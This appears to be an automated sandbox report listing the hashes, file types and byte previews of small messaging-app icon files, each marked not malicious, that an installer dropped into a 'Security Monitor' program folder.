SHA-512:	AA3DBE81C2BFDBDBF4EF81DE63685BEC3743762254476F278E1FC6956A39910E2C4A1E83E491AB579B107FC0496E134AB946800D7D2CA367AE4AF2E109B6741C
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................C.<&D.=SC.?AU.U.....J.@.E.>FC.=XE.=?U.U.........................I.B#B.;.B.;.B.<.C.;.C.;.B.;.B.;.B.;.C.;.C.;.U.U.....................F.>>B.;.B.;.].W................k.f.B.;.C.<.H.A'................F.>BB.;.................~....l.g.t.o.S.M.C.<.U.U.........f.f.C.<..}........a.\.........}............L.E.C.;.........D.;VB.;........n.i.............................C.;.U.U.....B.<.].W....._.Y.....~.z.B.;.B.;.J.D...............B.;.E.=?....C.<.j.e.....E.>.....P.I.B.;.B.;.B.;.......x.s.....B.;.C.=X....C.<.g.b.....O.H.....u.p.B.;.B.;.D.=...............B.;.E.>J....D.<\|D.>..................\|.w..................B.;.I.@.....E.>%C.;........T.N...............}.x........e._.B.;.............B.<{G.A.........z.u.D.>.B.;.X.R...........C.;.G.@$............U.U.B.<.G.@..........................}.C.;.B.=d....................U.U.B.<{C.;.F.?.l.f.t.o.c.].B.;.B.;.E.=;................................G.@$D.<\|C.<.C.<.C.;.D.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Mail Agent.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.7197016545374275
Encrypted:	false
SSDEEP:	12:6v/7Mx+Nre92kjEfcc8YhUaUuYE67bCIUMn+VnMUHAqOIjaDD/yJgQGToLYZFN:Z+LqERhUO67bCIZfmAajkj3tyYjN
MD5:	D9F77B09484FECF86DAB1E27B61481C3
SHA1:	D514C22AC2A1AC4B0826E38C48BABD9CBB077F9F
SHA-256:	CBFBDC4F27D2DE65E5F38B4233C967F1781449DE939BDF7451F2548511CF8F95
SHA-512:	606E0E9800296568C06F6015BB6DF091D5B75E516056032FB28CA1508E67AA0E8BBAC978981CA9FF492F54A7CFE02DF233042442F707588E6E8CFD82C7F8B93C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..kHSa......t.4..kj...I0)l.y...ZF.Fe.D.%K.K.....FVH..A.Y..Z..E. .".L..sz.,.\|.}.....wx...O....>... \|.x(x.;!..;S..n..' ...o;.y.TJ!.E)"!.xbh...^..V......,....vG....%.E...7......o]v.l.a..1<_jN24L.hL..,..5q..a.q.V..C.p...=fcup..B.........X^..t......Z.lSX.le@.J..\..kh.B...a.].}(eJl....=e.~..,:C....Sw1..//...W. cd(.[...g0<>....hT.8n.C.<D.i..}`.1...=E.9s~.)u-2............c.m..G.pN..(...:.!a$Y?.W...rN,.A.9...u.X.0292.....Q'.7..T".M...\|...#....".2z'.i.i...,X....+TT7..S..k+..D'...R..q....p....n.`..\..btr..T......D.M...Op.vr,H.T..-.../Fm..T..{....*XG.X...o..qOt`GD..}~....0..Ytm.S{.5.Hvs.mE..yn...=.uC.N....;..O:.....i..R......R.Ix......../..o...x>........7jZ..61.1....6..#..<H. .x...."..H..r...iY.S".Ob.......:cf..L,.9NI...Hgu.........4..`......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5511716867819327
Encrypted:	false
SSDEEP:	24:BifyRHHHHHHHHHHHlKDAYHQhY4O4ZYwg7iTT5:wfyHHHHHHHHHHHgDAMQhY4O4ZYwg7iT1
MD5:	F311592151DC7F196CDBC8AF6D426B28
SHA1:	159C11940E4F380F62D56AD12745600EDBEF1E15
SHA-256:	03290429CE68AFD7507C177C9446EFBCC47CFD040DECA70105988D0057919317
SHA-512:	A3259406480C89E73B408DBFDA00B8CBE5F2B168A1C46F6FE73A228B167CDC532FFBB315BD027B130634B8A248F488BD2ADA22CA5A45DF2AD3E728D3FA5DA832
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................l.(.l...l...m.?.m.`.m.\|.k.y.k.].o...............................r.A.q...q...q...q...q...q...q...q...q...o.7.....................u...u...u...u...u...u...u...u...u...u...u...u.o.............y.a.z...z...z...z...z...z...z...z...z...z...z...z...z.^.........~...~...~...~...~...~...~...~...~...~...~...~...~...~.........\|..........m.......................3........................\|..............x.......9.......'.............................................................................8...................................8.............................................................................'.......9.......x.......................................8.......................m................H...........................................................G..........................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Messenger.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	524
Entropy (8bit):	7.51499904676362
Encrypted:	false
SSDEEP:	12:6v/725PQZeziVpf6wu0rWQ6Rfcho1S01oS77Qtytds:zJQYgB6wnrWQ6ih0WSQtyns
MD5:	6A3D971DD10943973AD7CFF8776678EE
SHA1:	1FC9EA38435DBA93A64B9E48C7A3CCDED3D92333
SHA-256:	EDB59D1E30DEACB83DCCB9CA2D7F83FC52066CAFC7A8E0A633B9B0DD01CDA360
SHA-512:	B5C8C60578504EDD4EDDF7C5A9CC17BA3D04773CA200D5A8189D22C06BAA9081382F6D3FE076771F385AF7DAC51196AC4BFEFF1852A5E16BBF9AE6D1599FFE0E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..OHTQ...w.p.".DP........$Z$.ZD......FB.A`.`.%r.b.....E.T.....I.h!R..B(*2....o.hP3..y....q.w.u....xH.S^..}'.B......q..nY1K\Q....qW.......D.se......67......,...r.8.[......L..-....n...[....3..K.....N.q.q.f.n.$....k`..DGaf....Z3..<0...u..w%.A.^...Y....p.-.U.t...p...s.E).....:.[T.a.&(..'S......B..B.%u...T=....w..{....{..T........t..^...U.u....pbm.l...G....8.8c..EgT............R..G.w..-t...,......a.....]......t...]2.!....=..7...W.......X.......7.#.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Microsoft Teams.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.8378245167837792
Encrypted:	false
SSDEEP:	6:ttl7t4rfiKKc1XgZUZUZUZUZUZUJXm5ZUZUZUZUZUZUZUZUzC25ZUZUZUyUZUZUg:vlJcP+mpC2KC2KC2KC2KC2Kno9gH9Pcn
MD5:	9647EA4E877FE5A0A08E611D46767EBD
SHA1:	B64CB43619FF5F96F26C0FEFD03CB96373E1E0D9
SHA-256:	DB32B69F2877535C81DFD48ACCA5251BCEED320C1E8A03135F8C80C11D6F248A
SHA-512:	ED6CDB303CBEF7378C1EE1EBF22F9EACF59D354F3157766E486F2A8CEB5E30F11B11F0D289B254F83197F07208C7DF3A14E9EBA3680E38D6CCE6D4AD791F3DCE
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..............................................{ .{..{..{..{..{..{ .................................{ .{..{..{..{..{..{..{..{ ............................i:7.i:7.i:7.i:7.i:7.i:7.._Y..{..zr..YP..YP......SK.SK..SK..SK..SK..SK..SK..SK..SK..QJ.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK..SK..SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..x..YP..YP..YP.SK..SK..SK......................SK..SK.i:7..{..................SK..SK..SK..SK..SK..SK..SK..SK..SK..SK.q?;..{..YP..YP..YP..YP..SK.SK..SK..SK..SK..SK..SK..SK..SK..VN..{..{..YP..YP..YP..YP..........................{..{..{..{..{..{..^U..YP..YP..YP..........................{..{..{..{..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Microsoft Teams.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	306
Entropy (8bit):	6.791105413587409
Encrypted:	false
SSDEEP:	6:6v/lhPt+HkIXaZ6t6p1+yMqZZQZX08sIfahdKry9Ral0GykkCmgpF6PF2fp:6v/7PIXaZuC+y5Qe8T+NA0lk9pw2x
MD5:	B61B5003FBBE118F371C4AD42F4EF520
SHA1:	CA09B93D1185476243A5A6C91F72DE328E291F1B
SHA-256:	A5535A95335D1898EE2496AA99725F4BD62B229A1AF776F6B237CAA553AF539F
SHA-512:	D3CF0B4E5B2CEA3ECF3C88460B8D566F01C0F50F597D1ABFD0D5D42B0EBB749435BF89976BCCE1B89C19E22D1EBE574FA2DA93DA7D568B0B8D8CBAB0C7281191
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.cd...._....@...:........1.1`?.f.8p...@...o.g..l.n?b........{..i..<....AWW.....E.d..."..7[..\.0..l..5...}B...7...p.l..Dl.......@....0........p..l.z8.W...\|..LH...fx.r.6.&`$es.LP..@.WRudPRqd....{................:..U.Dd.LL..^..d.!.h.....A.....n>7......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Mozilla Thunderbird.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.949963945175186
Encrypted:	false
SSDEEP:	24:PE14x6qLv19cI/PRw1ZoPh+tV/HFm+TIe0WmY:s1ALtDtPh+tVvz0WB
MD5:	E929E2F2B14B9EC2EC42A663F3C7EEC2
SHA1:	2E66730E02EEDA9641153D48F408CECFB72E92F6
SHA-256:	A6DB330F99F450E9BBA286E6FE96B13DD8DA5079A7A1F8E191A09123C6A61906
SHA-512:	5AFBE7ABB77DA9F37D5E0392BE622C8AC8BA0C07F02430E5F5FEC624074F12ABA39BEFF2AA4D44CD3029886A8B71BE7AEAE9F6AED8A95D83369984EC39CF066C
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ........................................................E@...K...$..].......................................#.../...C...N0...]!..^...J..............................A&......P...U17>.FOX.Q\g.Vbm.z:..j)..J...].."............A..4^...C;@.OWa.Ual.ox...............^\.y5..g..x-..."......L...`...]%..................................j#..}7...G...5.T....8..Ic........................................<...K...O#..E.......A..h'..............w...v................I...u4..]$...F..Y!......v&.h&.............................V`j..C....@..m0...J..\|(......{)..E!..zq.ehm..........................C...n...<..S..z'.......7.g:.i7".....TUY..................rY..O..._ ..~3.....y(......K..\|7.{C#.._;..~E.^E0.{oj...~.lRP.e3...x3..v..q...;..v'......R...1..d9..yM.(:...v..<..v'..b....^...o$...>..y...+..i.#..........8q.}0..r.......N..h...^%...<..S.....?...1..p...................p"......{..w..W..L..N..A...5...*..u$..........................].:..-..J..;......\|(..y&..u

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Mozilla Thunderbird.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	946
Entropy (8bit):	7.732040020903732
Encrypted:	false
SSDEEP:	12:6v/7Md+AhCq2Ci1b9Hm4UEtkvfdjXxYoCa0jn5/Pt1hC5VbxePpNS/XnxQmHm3EZ:hwRUEtWzxvC1RPpC5Vd4NS/Xnxjnn
MD5:	2F8627CE7D0210CE8A83A237AC9E7FFB
SHA1:	1F7C014538E93EDF5EAB0721AB007C946EDE8130
SHA-256:	CD701C56968BF7138417063032D62ADAFC272C8C6FC98D527AEA342359DA0F7D
SHA-512:	CCDA7916E676BA730D0FE9F803E9CFFF37BEED65B9DA776DA6113B33A75ED351E699D9923B68D37AD83BA04A123815A160E53F24840DF73580802AA510BFF81F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...yIDATx.mSmlSU.~.mo..s...].I[....2..]c..($K.D...1.jP....2...HH4.D...3!.c..c...l...M...]........u?..{sN.7'O....!......N.d'mP.4.kf#.L...N..J......H.,...F..$ ..._. .".B.B.dO.....?.7.?...]Q`...f.-. ).22..,.,W.x..f.X....l>z....{...I..`<b.....4,U5..[.U.KSq,f.H&.{g....2...#.Pt)....aJ.g...[?...{@<.<L.....m...3n..oG..d.\_{.h..=...>L...NC.v..#.h...cu..........%l{...a(c.H./..h}.h.v_13U..5...b....I....W.e.Y.?.-...h....-..M..y8....'.._b..#E/.Q...'<.8.n. I.O$...^.C..8.Z3n...XM....................V3..c..6.@V..P`...=LNL.6.....(l...)A...-S...c."...\|...N....;}J. ...Q...2h.....tt...R....~z.I(.._.L....z?Z.jd...$I.@D!..-....G..0iA))Y..k.r.n.H.S!...m..:j.p:..-[... ......_........).UL#7...?9.l$..Q.V.6.".N.^...k,6.1.CZ.".....!....";.....e..e.]..VV..^Rb...&c.UW...f-m1.tn..2.....`....Y........B.f.e.......`.k*.z..".......W q.U."dZJW.3o.'.u...?..O........m V.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Opera Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.995757173580584
Encrypted:	false
SSDEEP:	24:kV8FtQm5AZDsVYmrJcEa7RjyWtYmmatOjk:k6FtQXwY2CEalWyYbatOjk
MD5:	D7F9CD5B7E1275B24EB50769BBBE3021
SHA1:	0B213D27ABDB5016B1805C2FCE5238196F48718C
SHA-256:	414BDEC0A45A95F08390272EDFFF615879E3D0116FFA38AE341770327C8A69ED
SHA-512:	8688C65B158C7F26424C9AF3E59382D7C59155D14377965B14277BE36D49012610D7ADC719E0CC6FFC3946B9D08174FC048E121FDB13104B7BD68365F15130DC
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ....................................................................................................................................................................................................................................................................................................................................................................................................................................................41..2/..................................................\|\|...#...'...'... ..tr......................................ig.."(...+...+......)...$..XW..............................RO....%...#-.. ,...,...+...+...%..87......................C@..63..01..-0..0..&...#-..$-...,.. -...&..#"..............=:..<8..96..74..52..22...1...1..)/..&...#-.."-...(...!..~{..C@..;8..?;..>:..?;..96..:6..74..42..01..21..-0..)/..%..."+...!..=:.=:..=:..<9..;8..85..64..41..3/../,..,)..)&..&%.."$...#..."............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Opera Mail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	604
Entropy (8bit):	7.566535696722621
Encrypted:	false
SSDEEP:	12:6v/71+R52wdTd01ObCNVVeNROSj6OjPXgEFE7LEgcuq/yp61MVKCXXN:bR5RG1iwVsRPj68vgvEgcN/RKVBXN
MD5:	4AC295DB7E483693981CDE5340D6DD06
SHA1:	2940C14BCC2C1C975D7DC484C43618F8028350A3
SHA-256:	5DF1EB6894459E748C599DEA4119DBD85F8EE024A7932ADC49E80AED7BC3CDE2
SHA-512:	05562C55530620A0860B6E636C45F035ACAFFF4F468B3F29491D909C795102377F778951033B93A8C143D87D7F779E03381E415B914EB1E8198EB0E838243E18
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...#IDATx.S.k.Q..f7b.j.m).c+.h.F.(.......?@.....x..^..A/J....TAk......&b]-".....yo...evf.........LP9=...........ZH.!.....1..r.*.....u......8bi..$b...~..m,..&k..47=.U..A...Z......M...9N..4V.._C.....o.. b.nN"..OE....d.].1A...\|.C..}85;...@Bp.t.A..wW.B7......&.Q......D..p..}l...Bm..j..K#E..Y.t.pc.._<G....r_...X.;1..w...f.......b...uK..XF..c\|y..{...../a......<...+....F.......r..<..Je..k.y....08v.kk....\|>.r.,.............J...}..f...M.\|'Z.6.m....;3..B'.Mo........pf3.v.....>....4cL&m.F......&1+.... )....kri.......g...ip;...A.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Telegram.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.472732468708232
Encrypted:	false
SSDEEP:	24:eO+ZmtXn7q6EQAkkUNtYa1TBExcA8CNJF22222yLIXTN:eO+4p7q/QAtqTexR8M22222sIXZ
MD5:	F81E507FDAD67F58488CF3D937594180
SHA1:	59C646FB4F2808E0020BDF1728237F067B3264D2
SHA-256:	DCA19404AB1499715ED30AFCA88E4BD85371BADC6A51E1677EAEB1DFFC8CA289
SHA-512:	70FAB93C992E18FE77C53C2DAC203B2F599DCD888D55015E668B2DB149AE51BCA7DF6A772D5FB4633D038BFEB6CFBF4CF64C3384031E7DE4BC23BA6948171357
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .....@...............................................oL..pM...............................................n.3.y...\|..~...~...\|..y...n.5.............................y...................................y..1!...................\|...........................................}...............z.;..................1..\|..........0..............{.?......................$.....h.........p...................a...............\................................g.....+.......D.........................................../.../.......U.............................3............3.}...".."..".."..8.....................].....!.."..........%..&..&..&..&..&..&..W.............$..&..%..........'W.)..)..)..)..)..)..)..)..2..A..)..)..'[.............+..,..,..,..,..,..,..,..,..,..,..+......................./../../../../../../../............................%../e.0..1..1..1..1..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Telegram.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.689986023244019
Encrypted:	false
SSDEEP:	12:6v/7hFFKT/SNQRb8l3lGQdnJ5l9hfP5Y3OLHLeTS8T38YuFc5Hdp8rMPLQX:2rW/SNQRgl38UnJ5Vfy3OjLZ8T38YuFz
MD5:	BA4DA486665B6C79F792A39BF6F03ACF
SHA1:	3746A3488D981870D9CDC6FE16DD6C8171DE6E0F
SHA-256:	5444F65B5694092DD587F8C3E8BB44E159556E45688C856BD5F9515FAD6FF2B8
SHA-512:	9C3D87AEB7C2E5CF5FC08DBF666E9DBBBE431EF71BB83D5C769C9F88DDFB41934C404D72985E320B6BAF0C9F1FF45E057B82C76EBA54BFA01BF2456533F3C0D5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.S]HSa.~..;.gS..,KDSG6I....$..D..........B.X....].".EH.Be%.$^x......!.b.%..s..Y..%..q...>..>...4. .....&s.~W...X}./..YO....R............h.....Ju....$....e...ij.O...\..%..w..pp-..8I.x...5.]..u.$vo.J.(....b..h..TC.K...>1D.p(.po..5.i...}..:.eP..a..edGs.C.v.y2t..)...OGMA..$..J.v....)\|...$.7Ed~.E.[.J..1...n..'.......BaD..[.) ....(~.1PA...U^<@.y.=,5c\'(rYP[.@yN.0...\.)FV..Q......3.hK.Rb?.j.....j^....q"?.......-....'...)..'.QD...7..U.....^...w.g.........>.......o?e..o.>Bl.A.]+d....C..f4..C......7...?..V...RZ.;/D.V..(...G5"...G.wO.L.D..K-.m-. !......`M...p...evT.L..].....:.P.{...@L..R..r[..?.1.`...+N=...i@S"j2......2!.c....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Tencent QQ.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.54214238379203
Encrypted:	false
SSDEEP:	24:6eIPdVt3Mxoi5U7YoFhqG0f9tX9vWHpWcd9JU:6NCSFhqlvWHpWcd96
MD5:	A7F6DC763A6C440673C6A65E1174379F
SHA1:	E3FE4B3EA5D58231C0326BD5BA9BC1A15D6C095D
SHA-256:	442AEC90EE87A5859CB87703F0ADA203796A24A36F8FA7AAA5C80E87995F1E65
SHA-512:	6A06B633363C13F056B8A23CEB3D507427F26DEC1844A043D49B99BB7F95C18BA21A1F08457E7A714F17A6D1A04ECC6DCEDB855D439E5D881F6D3CFB3C7517CB
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................9z.q6t..0q../v..'f..3g......-Y.i.X..7w..:{..6w..9{.z............,~..G...!.......D............E.......,...)...0................r.>1...M...............................6...6....v.'................7.......................................5.................#...#SM......./G..2I..........................Vw.. ..\........1"&...#.^hw.....,A..@Q..........................&...$...$.......A22.-.#.C?F......-...-..4O..Mf..~...............&...%...8/......C44K<./.=:n..+...6..'E...=..%I..3S...?...2..%;..).(.0$&.?43K......../+`..)......%0..@O...'...,......-...$...5..-2..('g.).!..........$.0!2......................................$0...)................y...[..".........Z...(...............$."...A.....................+ #.,.".+.".....................&.".%.".5.-."...................-"%.6&(.2#$...........o.........!...%.".,''.....................-#$)P;:.Q96.....................&.!.%.!." .5........................I97`fMJ.J53.0#%.*.".(.!.'.!.&

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Tencent QQ.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	888
Entropy (8bit):	7.7525569355376955
Encrypted:	false
SSDEEP:	12:6v/7MyC90RfzncoB9d+Jfty3DKiuhnS1nWXpvQTMmy5ZKr+NLQymmFT040q11aZ2:eJ6iDKNdanodwMmyvKr2+40q1UFWVt
MD5:	D060EB33F8B5DFA18682625CE21C1F46
SHA1:	DEC3B1DE06D2D855408C16D93365711088BBE705
SHA-256:	F6C2720D108D96B429E82883EE44CE7EEC31F4194DA99391DC023D6797FA0886
SHA-512:	BBBCDC3E03214E686DCB05094ADE3A9FFB510CB5BF4DAF28B607BC50349C1B675074AE7EF4DB99E86A00C661B31473D858353EB3DB8734639E8FF00B71AAEC6A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...?IDATx.m.[l.U..33...N.e..m..n.mS....$...Z.. .....K..>..D..`h.D....@..... .4B...,...-.,.......t5....s......;./.huC..]./.d.M.0.3t0....u'.../..o...n-.U.~<..OS.`.-.n..a0..9<..._@U......m..\|....W..y.....g...;. J.e.C..s...5............./....i.".....6I..o...TF..#....=r`N.[.....>R.S..p.(...%.B.%....W{..-@....cr\|....D~.CF..3...q5W...*....k....&..58..40I.+V.."....A.f...e 9^.l....6:.Q....Z..i9..;..6..-.....aX<..1Kqc:w.L.\|\|.d K..V.....o8.6......qA...............;#.h........_I}..S..H.........$....`.A_R.\...r.D9.....fz\|%g....,...N.......n^...v...v;8..(Y.[..P......P0...AB".Rf..vl.On..C.u.(.C..I....h9....\..t..c.c...Xr~...}..^z...(..m....[L)..g.8]......2....v.7.......R..;...^..B........F....k...%.o2.. .^=Q.!.......b..%....P.T.U<v....(..A..w...........M1M7.SS..6fS.mB%..7.....M5....A9.:'...Q^..j...Y.s-.\ \|l......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Viber.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.518492008840673
Encrypted:	false
SSDEEP:	24:XTZmE/ZYQwseqlUQQSbG1tHhRNyYkTHHSD:XTgEGiSnZiL8
MD5:	6F6B30B331D4B1B52218C3EE9F6008E5
SHA1:	99BB8C47F45B605BA74866586F9B2AC64CAE082A
SHA-256:	E5995C8370B5C383F7B3A60F3A79D3A67650A85C3A954D208E4736F4021BE24E
SHA-512:	1BA21D5611D96D7090F3A9E80E1DBBE34C390E02AA7145354F069253B0D440D488D24F385CC2A0A9469A9D5D9EFED10D4D1F15A8D36969497593A2B60903B885
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...........................................................................................................v.........@...@...........................................p...Xy..........................p...................0...........X{..Y\|..Z~..[...\.....................0.................Wy..Xz..Y\|..Z}..[...\...........i...`.................P.....Wx..Wz..Y{..Z}..Z~..z...................`...j.........0.........Wy..X{..Y\|..Z~..........................`...`.........p.......Xz..Y\|..Z}..............q..........._..._..._.................Y{..Y}..y...........]...]...^...r......._..._...................Y\|..Z~..............\...]...............^...^...................Z}..y...............\...................]...]...................Z}................[...................]...\.........`...0.....d...Y}..........Z~..z...............[...\...p......... .............d...Y\|..Z}..Z}..d...y...Z}..Z}..Z}..e.......................................n...Y\|..Y\|.......

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Viber.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	728
Entropy (8bit):	7.626939687751021
Encrypted:	false
SSDEEP:	12:6v/7xDWhiMwp8cPv8arNXzjOxin+3sSsNGI+dlb1TXiaG/deT7gYIaMXv3wjxyUU:mDmiMc8cPv8apjjOxA+3sDNGI+pyN/dH
MD5:	19F3CB0BD386402E675788B7D56970F4
SHA1:	EB8E440BC41C57BFEAA8E684C1E95008A3B53161
SHA-256:	12EDB57B3DC1F4FC152FB9DC44E69E669182C36A543E3F9335B14E7BF9AA4787
SHA-512:	030099A142FB428E231C9050304EA59BBFA9AF9E281FCFF0E80F3A2DA4113AA0953D0CD629B269310A47EC901279BB7C0FF5C2C922342AD813296832065022BF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..ML.Q....m....D..('...P...r.r1...1....... .^.b.1.?b...#z....&~..L(zP..F..nK..^.....L...7.....C.....y...;m!...!c.e...dUhf....&.^K.Ce.f.V........M..@a..R.k..&.....l:..E..W.H.0.....\8+LC..2..r....!........G18..\g...r...ca:!5....\)N.......77PVaF......q...p.....`..sI)....%.E.z.`.]...(5.?O.^.%....X...kLRz<.<.......jO...@..F\jP.g.....W...\.H.......:..:...l.&H....L.x7....-:JQ...{..e=..p..(..?.....R.P.8j.T.6....t..f.VC)\|..3.g8..q..%.kn....#S...........e.....r4_g()g....ER..?d..+i...Nc3U.B....)...#...q...j...g..U..0)P.S1VQ..R....q..t..C..$5R....~Y...Be.....Y@j.....J...X. .y...6z..B...p.J.y...a..b...)....fb.t..7.@.6&...m..>/j........Z.......(f.U.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\WhatsApp.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1342
Entropy (8bit):	4.6359350276939795
Encrypted:	false
SSDEEP:	24:dji7RcfMBrFZ4SJP/eM3Oa6xkbHITYphkt:djUcfsr1xG9Ypmt
MD5:	DA65CA13005C823DFDB8A02C0F534EA1
SHA1:	555B00EAB24107ED4B1E86A30E634DED6A3B172C
SHA-256:	73A10CE1010DDF27AD68552766FD5803E9DDAFB7ACE123822E6EB2FD69954D9A
SHA-512:	576FC82838F477AB1806433240C1508184C1E00B5365A2F5719A3FA53DEFD4AE71A6ED5A262F5D174AAF089F46F677332D270C154AC6185E8616DF1D0E53BC17
Malicious:	false
Reputation:	unknown
Preview:	............ .(.......(....... ..... ........................................E...D...........................?.............................................d...~...............................\....M...d.>...m.G...C...C...C...C...F.....{...........................o.C...C...C...C...C...B...B...B...B...o.N................<........C...C...C...B...F.....e.......b.@.B.....\|........?........G...C...C...B...j.J.....................B...F.................C...C...B...n.P.........k.K..........n.B...C.................C...B...T.-.........F...B...C...C...B...C...C.................C...B..........`.=.B...C...C...C...C...C...C................C...A..............B...C...C...C...C...C...C.................H...B.............h.B...C...C...C...C...C...F..............1.......B...i.H....E...C...C...C...C...C...C.....\|........>...........x.Z.B...B...C...C...C...C...C...C...v.V................................J...C...C...C...C...H...........................................................

